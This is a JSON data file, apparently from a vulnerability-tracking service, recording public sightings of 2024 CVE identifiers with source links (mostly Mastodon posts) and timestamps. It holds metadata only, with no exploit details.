{"vulnerability": "2024-12", "sightings": [{"uuid": "b2294ed8-e946-4224-aca3-b3cf074baacb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/113511789492366615", "content": "", "creation_timestamp": "2024-11-19T21:40:54.577305Z"}, {"uuid": "c54936c5-a09d-4ed0-8ff8-cb9893aa5b71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2704492", "content": "", "creation_timestamp": "2024-11-18T22:19:12.809923Z"}, {"uuid": "a56bb10a-6d0c-440c-9776-549de5c524da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://thehackernews.com/2024/11/cisa-alert-active-exploitation-of.html", "content": "", "creation_timestamp": "2024-11-19T06:31:00.000000Z"}, {"uuid": "3ced8282-755b-435a-8641-f5ad96b0332e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2024-11-18T21:10:03.000000Z"}, {"uuid": "b517fd95-28a5-46a1-a263-e29be4be0fc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12247", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113600938602318829", "content": "", "creation_timestamp": "2024-12-05T15:32:39.866543Z"}, {"uuid": "5240f6bc-86ba-4c35-9568-a4d323cd0382", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12002", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113572036687180424", "content": "", "creation_timestamp": "2024-11-30T13:02:31.804102Z"}, {"uuid": "35749cb1-3405-4c8c-951c-f9c056cf8f1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12099", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113592501505346516", "content": "", "creation_timestamp": "2024-12-04T03:47:00.716390Z"}, {"uuid": "d5d0b7aa-5cea-4d3f-ac2c-b35a179632dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12107", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113594201638912768", "content": "", "creation_timestamp": "2024-12-04T10:59:22.059858Z"}, {"uuid": "774c4789-75e0-4617-8740-280c7bb255ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12007", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113580057816825083", "content": "", "creation_timestamp": "2024-12-01T23:02:24.356973Z"}, {"uuid": "04fdb326-9d0f-47d2-bd83-c68ce41c0681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12123", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113592437254564347", "content": "", "creation_timestamp": "2024-12-04T03:30:39.619345Z"}, {"uuid": "16defb86-5b68-4c8a-abc6-705186d711cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12138", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113594928209572244", "content": "", "creation_timestamp": "2024-12-04T14:04:08.513953Z"}, {"uuid": "f72ed51d-3d64-4dfa-9478-c143c24cd2a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12231", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113601083833671259", "content": "", "creation_timestamp": "2024-12-05T16:09:36.017479Z"}, {"uuid": "04ee434a-55e8-4af8-9e1c-2103a6fce103", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12188", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113597384217334031", "content": "", "creation_timestamp": "2024-12-05T00:28:44.524108Z"}, {"uuid": "3b28a5fd-d08b-4e6d-8e3d-c1e84c3bdd9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12232", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113601083848167280", "content": "", "creation_timestamp": "2024-12-05T16:09:36.263088Z"}, {"uuid": "ea23d7fd-a8e5-40eb-bdca-ad2e66073afd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12148", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113595787186792018", "content": "", "creation_timestamp": "2024-12-04T17:42:35.575726Z"}, {"uuid": "256b1ff6-279f-4ad6-8f75-43402cd711e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12149", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113595787202124007", "content": "", "creation_timestamp": "2024-12-04T17:42:35.732743Z"}, {"uuid": "2f6e418f-4084-4856-9bc8-d279c2f2aa14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12182", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113596953459533175", "content": "", "creation_timestamp": "2024-12-04T22:39:11.397923Z"}, {"uuid": "79c88e7c-9897-4557-9da9-531a4a43b8cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12187", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113597384202826312", "content": "", "creation_timestamp": "2024-12-05T00:29:04.909687Z"}, {"uuid": "f7146a13-0d91-4fa4-a9ec-0f9c4d79664e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12185", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113597230481687138", "content": "", "creation_timestamp": "2024-12-04T23:49:38.703740Z"}, {"uuid": "9b530c62-9589-4b17-8706-829f9704123e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12183", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113597060800717377", "content": "", "creation_timestamp": "2024-12-04T23:06:29.392341Z"}, {"uuid": "1e0d201a-8b1e-4032-8695-5b742796da2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12233", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113601182484335124", "content": "", "creation_timestamp": "2024-12-05T16:34:41.276511Z"}, {"uuid": "e763378e-0e76-4ebc-a1df-190841db4f65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12234", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113601319911708874", "content": "", "creation_timestamp": "2024-12-05T17:09:38.407807Z"}, {"uuid": "94b315e9-345f-471b-8e7a-9098ca8fefac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12115", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113609184987241947", "content": "", "creation_timestamp": "2024-12-07T02:29:49.767632Z"}, {"uuid": "9bc794fc-55d2-4860-8568-3fdf68bf7d00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12209", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113615570697901377", "content": "", "creation_timestamp": "2024-12-08T05:33:48.010759Z"}, {"uuid": "5acc0e3c-43ab-4e8d-92c9-d72b954b6432", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12348", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620042594523349", "content": "", "creation_timestamp": "2024-12-09T00:31:03.719778Z"}, {"uuid": "64a258a0-f9a7-49b9-afeb-ac5c34410ab0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12355", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620426749129311", "content": "", "creation_timestamp": "2024-12-09T02:08:45.414534Z"}, {"uuid": "05d038de-8317-44e1-9e32-2c5bff720dd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12357", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113621002512435595", "content": "", "creation_timestamp": "2024-12-09T04:35:11.198656Z"}, {"uuid": "017af0fa-bb74-44a3-a6b9-55ea59031fef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12151", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113595787225996422", "content": "", "creation_timestamp": "2024-12-04T17:42:36.126917Z"}, {"uuid": "00133244-0772-4d38-b213-6560b7b2efe0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12165", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113609185002950467", "content": "", "creation_timestamp": "2024-12-07T02:29:50.393456Z"}, {"uuid": "011aa670-877e-49f1-83fe-1b24e63a0049", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12128", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113610834260122412", "content": "", "creation_timestamp": "2024-12-07T09:29:15.778802Z"}, {"uuid": "4b656020-38aa-483e-afa6-960f5dc8542f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12343", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113616512565146996", "content": "", "creation_timestamp": "2024-12-08T09:33:20.092902Z"}, {"uuid": "477bac9e-6ac5-43a0-983c-6fe1d7f7acc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12166", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113609185016813797", "content": "", "creation_timestamp": "2024-12-07T02:29:50.448500Z"}, {"uuid": "4ed7de8e-32e4-444b-9c31-196bc203ca46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12358", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113621002546203926", "content": "", "creation_timestamp": "2024-12-09T04:35:11.483842Z"}, {"uuid": "c46241f5-ae76-49b5-b84b-f194ff9b2c74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12235", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113601431917341690", "content": "", "creation_timestamp": "2024-12-05T17:38:07.862961Z"}, {"uuid": "8b9c7c23-1579-4490-985c-7570e4006391", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12167", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113609185030208713", "content": "", "creation_timestamp": "2024-12-07T02:29:50.694755Z"}, {"uuid": "6e7242d6-77ba-4334-aaec-7f8e50d28b27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12253", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113610893265289911", "content": "", "creation_timestamp": "2024-12-07T09:44:16.083880Z"}, {"uuid": "0050df2e-69b6-4a9a-90f5-07c5771288fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12209", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113618202280680817", "content": "", "creation_timestamp": "2024-12-08T16:43:02.635448Z"}, {"uuid": "6c7d6b30-dec4-48eb-aadb-bec6d2b14bef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12349", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620042610266633", "content": "", "creation_timestamp": "2024-12-09T00:31:04.281123Z"}, {"uuid": "0f2b7733-31cc-4157-a521-4f6c2527b9a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12352", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620269681226570", "content": "", "creation_timestamp": "2024-12-09T01:28:48.828358Z"}, {"uuid": "30af1dce-d425-4628-b2ca-fce900af4f43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12353", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620269696056677", "content": "", "creation_timestamp": "2024-12-09T01:28:49.183114Z"}, {"uuid": "005bee62-84bb-4459-8f4d-68e3a0a15d26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12053", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113606107544116189", "content": "", "creation_timestamp": "2024-12-06T13:27:11.928961Z"}, {"uuid": "0dea11d8-a58c-4b27-a638-94d337ee9786", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12257", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113609244029314690", "content": "", "creation_timestamp": "2024-12-07T02:44:50.912757Z"}, {"uuid": "271a702c-32f9-46d1-8962-c33fed676835", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12270", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113610893279323997", "content": "", "creation_timestamp": "2024-12-07T09:44:16.242969Z"}, {"uuid": "cb12402c-de65-4dc6-bdcd-486a3e31ee52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12130", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113601483770927719", "content": "", "creation_timestamp": "2024-12-05T17:51:18.540639Z"}, {"uuid": "69522bed-d19c-4bfa-b262-12dae210f90e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12344", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113619720536909057", "content": "", "creation_timestamp": "2024-12-08T23:09:09.854534Z"}, {"uuid": "eefe4640-7888-4b94-99ff-04a29720885b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12350", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620132007840001", "content": "", "creation_timestamp": "2024-12-09T00:53:48.117288Z"}, {"uuid": "0d9d70e3-dde4-4d14-836b-a7df7e37dead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12359", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113621121467551191", "content": "", "creation_timestamp": "2024-12-09T05:05:26.239493Z"}, {"uuid": "01e2dcd6-5814-4b33-a0e9-5a278695a42e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12360", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113621121483792762", "content": "", "creation_timestamp": "2024-12-09T05:05:26.596707Z"}, {"uuid": "d270f6c2-ac44-40a3-9864-454938287fbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12305", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622027518045241", "content": "", "creation_timestamp": "2024-12-09T08:55:51.216027Z"}, {"uuid": "2eb155d0-96dd-44af-aacd-82b7d404db4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12307", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622027548857989", "content": "", "creation_timestamp": "2024-12-09T08:55:51.804403Z"}, {"uuid": "7f993074-85a5-40aa-93d0-64277475b8b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12180", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113596828606242355", "content": "", "creation_timestamp": "2024-12-04T22:07:26.748765Z"}, {"uuid": "0968f59c-a7ba-4794-b75b-dd8e17e71e39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12186", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113597230495654977", "content": "", "creation_timestamp": "2024-12-04T23:49:38.764268Z"}, {"uuid": "f876beda-a361-4dfc-a113-c5cb4be82aec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12062", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113588228650413765", "content": "", "creation_timestamp": "2024-12-03T09:40:21.528081Z"}, {"uuid": "44f17634-64c5-4d64-ab72-2cf3382062dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12196", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113595787239641013", "content": "", "creation_timestamp": "2024-12-04T17:42:36.546509Z"}, {"uuid": "b5936c4f-dfa0-4e1c-928d-d8f6ed1d13d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12094", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113600229618241145", "content": "", "creation_timestamp": "2024-12-05T12:32:21.990127Z"}, {"uuid": "e128ddc9-9340-47e3-9647-b8a0340ca52f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12003", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113605199823333797", "content": "", "creation_timestamp": "2024-12-06T09:36:21.555534Z"}, {"uuid": "f42f08bb-b5f7-4541-864b-dbb93277401b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12028", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113605199851739398", "content": "", "creation_timestamp": "2024-12-06T09:36:21.757608Z"}, {"uuid": "583f27f1-186e-4a17-ae56-057cc649baa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12027", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113605199837773929", "content": "", "creation_timestamp": "2024-12-06T09:36:21.805348Z"}, {"uuid": "9c682649-999c-44b2-87df-e09e62fdd0d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12015", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113583475655174182", "content": "", "creation_timestamp": "2024-12-02T13:31:36.440884Z"}, {"uuid": "bf1a0359-c3ea-4d9b-9189-e381cdb7f140", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12181", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113596828620055164", "content": "", "creation_timestamp": "2024-12-04T22:07:26.987693Z"}, {"uuid": "dbe2bf95-761d-4998-a010-e2a46780a0d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12230", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113600710829480734", "content": "", "creation_timestamp": "2024-12-05T14:34:44.612576Z"}, {"uuid": "bfffe6d2-7601-4c4c-9c18-ba70329dac6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12053", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113590396950354441", "content": "", "creation_timestamp": "2024-12-03T18:51:47.944231Z"}, {"uuid": "7eb16d8b-9e03-40f6-8d2b-6e253ea02164", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12053", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113590416932406147", "content": "", "creation_timestamp": "2024-12-03T18:56:51.970914Z"}, {"uuid": "9846043f-dae5-4874-b0f9-723ab48b6723", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12060", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113605258854008312", "content": "", "creation_timestamp": "2024-12-06T09:51:21.834908Z"}, {"uuid": "b6224584-0193-4c8d-848e-4cf39afc7739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12110", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113605258890415406", "content": "", "creation_timestamp": "2024-12-06T09:51:22.223874Z"}, {"uuid": "a26de047-ff4d-45be-9633-cb567d39721e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12155", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113605258904859384", "content": "", "creation_timestamp": "2024-12-06T09:51:22.684459Z"}, {"uuid": "91c4c32a-2275-4fe2-ac0c-9a21d13bb98d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12346", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113619819168185275", "content": "", "creation_timestamp": "2024-12-08T23:34:14.459560Z"}, {"uuid": "6a31fdd0-2ca1-48fe-8008-58c2b278ac47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12351", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620132022593728", "content": "", "creation_timestamp": "2024-12-09T00:53:48.450365Z"}, {"uuid": "9c0c2a3d-e5b5-4c80-8d84-e34db66dc354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12306", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622027533908621", "content": "", "creation_timestamp": "2024-12-09T08:55:51.472886Z"}, {"uuid": "7083e13d-48c8-4db6-a4b6-5f1e22162236", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12053", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113591074316314922", "content": "", "creation_timestamp": "2024-12-03T21:44:02.791920Z"}, {"uuid": "b561624d-dc8d-486b-94a5-321411085e3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12001", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113571978341810883", "content": "", "creation_timestamp": "2024-11-30T12:47:41.535916Z"}, {"uuid": "ac3a2c0d-50d3-424b-afcf-2811c7207e8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12082", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113588901007519029", "content": "", "creation_timestamp": "2024-12-03T12:31:20.879124Z"}, {"uuid": "2ccb330b-12df-4cb7-9162-ee6d845f163a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12347", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113619819183044274", "content": "", "creation_timestamp": "2024-12-08T23:34:15.226513Z"}, {"uuid": "a25f7b77-dd56-47c0-af4a-3038892fe6f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12352", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620257246409127", "content": "", "creation_timestamp": "2024-12-09T01:25:39.153768Z"}, {"uuid": "467b4c1a-a74c-4ee3-a97c-472b0d193fa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12353", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620257262125048", "content": "", "creation_timestamp": "2024-12-09T01:25:39.472378Z"}, {"uuid": "68274c5a-bb59-4ecd-a933-65f4901b09b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12354", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620426733666913", "content": "", "creation_timestamp": "2024-12-09T02:08:45.217352Z"}, {"uuid": "30926502-ef97-42d8-924d-50f1c1f96416", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12000", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113571794336079178", "content": "", "creation_timestamp": "2024-11-30T12:00:53.711761Z"}, {"uuid": 